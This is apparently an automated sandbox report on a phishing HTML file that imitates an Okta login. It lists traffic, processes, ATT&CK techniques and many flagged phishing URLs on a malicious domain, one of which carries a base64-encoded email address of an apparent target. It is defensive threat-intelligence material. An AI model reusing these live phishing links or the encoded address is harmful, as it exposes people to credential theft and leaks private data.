Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.16:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.68:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.46:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.46:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.148.69:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.16:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.122:443 -> 192.168.2.16:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.46:443 -> 192.168.2.16:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49832 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6908_227045112

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6908_227045112

Source: classification engine

Classification label: mal100.phis.evad.winHTML@20/33@49/232

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\suspect.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1892,i,9613019893938489976,16158350470171388402,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1892,i,9613019893938489976,16158350470171388402,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://3pz.bughtswo.com/admi/#YnJhZC5nYWxlQHdpbHNvbnNhZHZpc29yeS5jb20uYXU=

HTTP Parser: https://3pz.bughtswo.com/admi/#YnJhZC5nYWxlQHdpbHNvbnNhZHZpc29yeS5jb20uYXU=

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 2.22.d.script.csv, type: HTML
Source: Yara match	File source: 3.29..script.csv, type: HTML
Source: Yara match	File source: 3.30..script.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
suspect.html	0%	Virustotal		Browse

Source	Detection	Scanner	Label
https://3pz.bughtswo.com/admi/	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/soIJXNjMdD7eIx6CmpFVmuPAf6WwWoCYwrRyag	100%	Avira URL Cloud	phishing
https://rxivb5.qakaco.ru/phudi$g8yzhxe	0%	Avira URL Cloud	safe
https://3pz.bughtswo.com/56mQ3hNU0OeLFsBE0cdBYhj76720	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/xyYqDiOE9Wrs7igh30	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/opBd8RIsQEhweDF79MfJTmO32LcCxDbe4QgnBMPgPPghFozKdpmUpA5eLxsl9zJJ0KlUUZOyAEef196	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/favicon.ico	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/klSe5FeF4V4B9AsN4kzckt7xcRfhr56nJ41v2BUS7L5ZHUtaQLGpmLSV8ukuv220	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/GDSherpa-bold.woff	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/yfuOUwyTI9qASHIO1Yd1WuHEVWTfcFf2n32Nn6H6lWun5L5SxS2l	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/GDSherpa-vf2.woff2	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/zcjFjVbeWag4BIehEdWrtkCkgYwI2qGKbsfn5dGfq	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/mnGeMwtuiseg6FuvHXI23EgklvYhJt1DtbpXmd9tZGrz78150	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/GDSherpa-vf.woff2	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/GDSherpa-regular.woff2	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/wxB2I98tBROJelAq0Qq5WjZ6UMxcstFpC8Y9kgRgGII0H34126	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/opuxRiSxTmEM15vBJMb9leXlu5sefNsAugLT2OPWIt7nw45140	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/GDSherpa-bold.woff2	100%	Avira URL Cloud	phishing
https://a.nel.cloudflare.com/report/v4?s=%2BUIoZMPRG8vNPXrCaUHRFNpOxoO0llmdTlI9mVFobnQAOUWQnaXEQlVSnhAlaQmc5PjrqdLzlhpkoxEhnWwQp8nObmN2xhfYGOFErumcN6nGbNNZXiWmUrbruaLH	0%	Avira URL Cloud	safe
https://3pz.bughtswo.com/wxFhzp0CgTafW2l0GEvW2qmRzDYozFmnbQAb174rg3tC0nv90180	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/ghd1fCTJC2y4qjPZfLjhBbrPNhMv0H3ioowRZtB1smn00n8zWKAwWMYfyyL9TI13NS5A412210	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/56usdLGyORYNk44l9ghb0mDtUEm8nDuuFwg67110	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/opwzYslPhX1AtOROVu3V2KXjF2vYFIQTFKpREUQCrAUstQdhMWnYFFGrFe6cfvB6BRzktecd232	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/GDSherpa-regular.woff	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/kl3XiVz0aPutz6bSmjR9D2P593BDt6Z4DUWuOyzYQYdRIcPOAJBMuwV98WwDp5V256170	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/klCOczC1guexDGXVCE0TqxcNG891JB3LCJ5AUxbOyWvzDab230	100%	Avira URL Cloud	phishing
https://r7hi.qakaco.ru/kella$0zphou	0%	Avira URL Cloud	safe
https://3pz.bughtswo.com/wpE72XVhb4Z1pXQe52oRXxRmo	100%	Avira URL Cloud	phishing
https://a.nel.cloudflare.com/report/v4?s=YOc6l7q5QXOg%2BVGS6GJKA%2F4%2Fb2k5g%2Frv%2BS7f02dvV2lbpZgQwM9U2Vx17pmuN1HwC%2FHZkvhIGBh28VrxfK6%2BFkGVeiPZX8zr7KlBkyNZec09K6pZr965vAQlSeM%2B	0%	Avira URL Cloud	safe
https://3pz.bughtswo.com/zc8QtV1AgOx9d4g80BylSMR67CLPWQsWgy	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/opCFdSgn1l9ejFMcZdMMdllPgt3wr0qvg5ghQ19r8NjVY4Vg9HKNBQfcd200	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/qrRKnn6n9eUoC5I00CX7vJefVlhQdgy6RPYvoDRYN1q67140	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/12cgfpYt7Gg84zxyfkj8918	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/klJEJj5AR8FEExIIOG1ZoX9K1rLijUqfl9xv18C2sUweSiWsxciyR4bNuR1awx216	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/klenjbRJbkmC9A5K6h8dlPsIojwX4ImnFqvwxZ7prt4wHIGzEyU78167	100%	Avira URL Cloud	phishing
https://a.nel.cloudflare.com/report/v4?s=iRRP2hVjA1LeAbtjngxFEN43pYv8QD0IHB0a6pLmqb4BiuIyCUD%2FUUCw5F0GN1mOU1vX5L0DlzZnRLfEs153tGwd0QXScirwYeQSA5yNozHG5kwURMNR28J%2FuUS7	0%	Avira URL Cloud	safe
https://3pz.bughtswo.com/uheSegtXcJrGcg1LANWjxLwtiG1EYvEeZy6o1u9WZEqq1xsRwxhwODvkp	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/uvjJJeKRwvQvI18yo62v8qr2JrPPmCQo5SPbYPPQ12130	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/opyYQhzf6pW8TXFXX4aHCJLltYOpZ9gZxhstvZonqoZbKeJY8p18pl4GSjlC7bkgJBIycd240	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/ijjsoowXvipoSRdLsikOWGMMRfyP4mdeXkl14Vx3gpVt9nneix52sKmQK11HVfv3Pb12201	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/xyI3O4tCtbzsOtrs132Ycd30	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/uvrsNwJ0EBQ2dDGQwRbWOzn8AryE2uANKhJMqeuKmnccZhFbpNDM77XT7xoGTEiBeNLNv8SREeVj0l5gh260	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/ijoyUfMSqMcVe9WXGTZVlctVeCxOyPKKqrSkxb2xnBTPwVtirVuPyz230	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/56lW6APRQ2ESm07QQ6vYBzijnmTAv3b989110	100%	Avira URL Cloud	phishing
https://3pz.bughtswo.com/efBjX2yOm7GgfZp7ySyVTDijLhRc5kO0DER2eibNKXblerN790150	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
github.com	140.82.121.4	true	false	high
3pz.bughtswo.com	188.114.97.3	true	true	unknown
rxivb5.qakaco.ru	172.67.180.46	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
r7hi.qakaco.ru	104.21.51.122	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
get.geojs.io	104.26.0.100	true	false	high
www.google.com	142.250.185.68	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.68	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
y0wwlcczroc2mikkx8azepa6tnnyjj1ifs5xawhcmienblrzuz6qcrs.sorenxw.es	unknown	unknown	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://3pz.bughtswo.com/56mQ3hNU0OeLFsBE0cdBYhj76720	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/opBd8RIsQEhweDF79MfJTmO32LcCxDbe4QgnBMPgPPghFozKdpmUpA5eLxsl9zJJ0KlUUZOyAEef196	true	Avira URL Cloud: phishing	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://3pz.bughtswo.com/xyYqDiOE9Wrs7igh30	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/favicon.ico	true	Avira URL Cloud: phishing	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://3pz.bughtswo.com/klSe5FeF4V4B9AsN4kzckt7xcRfhr56nJ41v2BUS7L5ZHUtaQLGpmLSV8ukuv220	true	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=YOc6l7q5QXOg%2BVGS6GJKA%2F4%2Fb2k5g%2Frv%2BS7f02dvV2lbpZgQwM9U2Vx17pmuN1HwC%2FHZkvhIGBh28VrxfK6%2BFkGVeiPZX8zr7KlBkyNZec09K6pZr965vAQlSeM%2B	false	Avira URL Cloud: safe	unknown
https://3pz.bughtswo.com/zc8QtV1AgOx9d4g80BylSMR67CLPWQsWgy	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/GDSherpa-vf2.woff2	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/mnGeMwtuiseg6FuvHXI23EgklvYhJt1DtbpXmd9tZGrz78150	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/GDSherpa-vf.woff2	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/wpE72XVhb4Z1pXQe52oRXxRmo	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/GDSherpa-regular.woff2	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/opuxRiSxTmEM15vBJMb9leXlu5sefNsAugLT2OPWIt7nw45140	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/opCFdSgn1l9ejFMcZdMMdllPgt3wr0qvg5ghQ19r8NjVY4Vg9HKNBQfcd200	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/GDSherpa-bold.woff2	true	Avira URL Cloud: phishing	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://3pz.bughtswo.com/12cgfpYt7Gg84zxyfkj8918	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/klJEJj5AR8FEExIIOG1ZoX9K1rLijUqfl9xv18C2sUweSiWsxciyR4bNuR1awx216	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/qrRKnn6n9eUoC5I00CX7vJefVlhQdgy6RPYvoDRYN1q67140	true	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK	true		unknown
https://3pz.bughtswo.com/wxB2I98tBROJelAq0Qq5WjZ6UMxcstFpC8Y9kgRgGII0H34126	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/opwzYslPhX1AtOROVu3V2KXjF2vYFIQTFKpREUQCrAUstQdhMWnYFFGrFe6cfvB6BRzktecd232	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/uheSegtXcJrGcg1LANWjxLwtiG1EYvEeZy6o1u9WZEqq1xsRwxhwODvkp	true	Avira URL Cloud: phishing	unknown
https://r7hi.qakaco.ru/kella$0zphou	false	Avira URL Cloud: safe	unknown
https://3pz.bughtswo.com/GDSherpa-regular.woff	true	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=iRRP2hVjA1LeAbtjngxFEN43pYv8QD0IHB0a6pLmqb4BiuIyCUD%2FUUCw5F0GN1mOU1vX5L0DlzZnRLfEs153tGwd0QXScirwYeQSA5yNozHG5kwURMNR28J%2FuUS7	false	Avira URL Cloud: safe	unknown
https://3pz.bughtswo.com/kl3XiVz0aPutz6bSmjR9D2P593BDt6Z4DUWuOyzYQYdRIcPOAJBMuwV98WwDp5V256170	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/admi/	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/GDSherpa-bold.woff	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/admi/#YnJhZC5nYWxlQHdpbHNvbnNhZHZpc29yeS5jb20uYXU=	true		unknown
https://3pz.bughtswo.com/uvjJJeKRwvQvI18yo62v8qr2JrPPmCQo5SPbYPPQ12130	true	Avira URL Cloud: phishing	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://3pz.bughtswo.com/yfuOUwyTI9qASHIO1Yd1WuHEVWTfcFf2n32Nn6H6lWun5L5SxS2l	true	Avira URL Cloud: phishing	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://3pz.bughtswo.com/klenjbRJbkmC9A5K6h8dlPsIojwX4ImnFqvwxZ7prt4wHIGzEyU78167	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/zcjFjVbeWag4BIehEdWrtkCkgYwI2qGKbsfn5dGfq	true	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://3pz.bughtswo.com/xyI3O4tCtbzsOtrs132Ycd30	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/ijjsoowXvipoSRdLsikOWGMMRfyP4mdeXkl14Vx3gpVt9nneix52sKmQK11HVfv3Pb12201	true	Avira URL Cloud: phishing	unknown
https://rxivb5.qakaco.ru/phudi$g8yzhxe	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH	true		unknown
https://3pz.bughtswo.com/opyYQhzf6pW8TXFXX4aHCJLltYOpZ9gZxhstvZonqoZbKeJY8p18pl4GSjlC7bkgJBIycd240	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/uvrsNwJ0EBQ2dDGQwRbWOzn8AryE2uANKhJMqeuKmnccZhFbpNDM77XT7xoGTEiBeNLNv8SREeVj0l5gh260	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/ijoyUfMSqMcVe9WXGTZVlctVeCxOyPKKqrSkxb2xnBTPwVtirVuPyz230	true	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=%2BUIoZMPRG8vNPXrCaUHRFNpOxoO0llmdTlI9mVFobnQAOUWQnaXEQlVSnhAlaQmc5PjrqdLzlhpkoxEhnWwQp8nObmN2xhfYGOFErumcN6nGbNNZXiWmUrbruaLH	false	Avira URL Cloud: safe	unknown
https://3pz.bughtswo.com/56lW6APRQ2ESm07QQ6vYBzijnmTAv3b989110	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/wxFhzp0CgTafW2l0GEvW2qmRzDYozFmnbQAb174rg3tC0nv90180	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/soIJXNjMdD7eIx6CmpFVmuPAf6WwWoCYwrRyag	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/efBjX2yOm7GgfZp7ySyVTDijLhRc5kO0DER2eibNKXblerN790150	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/ghd1fCTJC2y4qjPZfLjhBbrPNhMv0H3ioowRZtB1smn00n8zWKAwWMYfyyL9TI13NS5A412210	true	Avira URL Cloud: phishing	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://3pz.bughtswo.com/56usdLGyORYNk44l9ghb0mDtUEm8nDuuFwg67110	true	Avira URL Cloud: phishing	unknown
https://3pz.bughtswo.com/klCOczC1guexDGXVCE0TqxcNG891JB3LCJ5AUxbOyWvzDab230	true	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.180.46	rxivb5.qakaco.ru	United States	13335	CLOUDFLARENETUS	false
173.194.76.84	unknown	United States	15169	GOOGLEUS	false
142.250.185.142	unknown	United States	15169	GOOGLEUS	false
172.67.148.69	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.131	unknown	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.138	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.16.206	unknown	United States	15169	GOOGLEUS	false
13.33.187.68	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
104.21.51.122	r7hi.qakaco.ru	United States	13335	CLOUDFLARENETUS	false
188.114.97.3	3pz.bughtswo.com	European Union	13335	CLOUDFLARENETUS	true
13.33.187.96	unknown	United States	16509	AMAZON-02US	false
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.142	unknown	United States	15169	GOOGLEUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
216.58.212.163	unknown	United States	15169	GOOGLEUS	false
172.217.16.195	unknown	United States	15169	GOOGLEUS	false
104.26.0.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1641093
Start date and time:	2025-03-18 01:54:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
